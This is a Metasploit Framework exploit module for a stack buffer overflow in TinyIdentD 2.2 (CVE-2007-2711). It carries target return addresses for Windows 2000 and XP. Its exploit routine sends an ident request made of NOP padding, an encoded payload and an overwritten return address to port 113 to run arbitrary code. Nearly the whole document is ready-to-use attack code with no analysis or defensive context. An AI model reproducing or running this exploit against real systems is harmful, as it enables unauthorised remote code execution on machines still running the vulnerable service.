TinyIdentD 2.2 Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TinyIdentD 2.2 Stack Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.  
If we send a long string to the ident service we can overwrite the return  
address and execute arbitrary code. Credit to Maarten Boone.   
},  
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2007-2711'],  
['OSVDB', '36053'],  
['BID', '23981'],  
],  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0d\x20\x0a"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi   
['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi   
  
],  
  
'Privileged' => false,  
'DisclosureDate' => 'May 14 2007'  
))  
  
register_options([ Opt::RPORT(113) ], self.class)  
end  
  
def exploit  
connect  
  
pattern = "\xeb\x20"+", 28 : USERID : UNIX :";  
pattern << make_nops(0x1eb - payload.encoded.length)  
pattern << payload.encoded  
pattern << [ target.ret ].pack('V')  
  
  
request = pattern + "\n"  
  
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")  
  
sock.put(request)  
  
  
handler  
disconnect  
end  
  
end  
`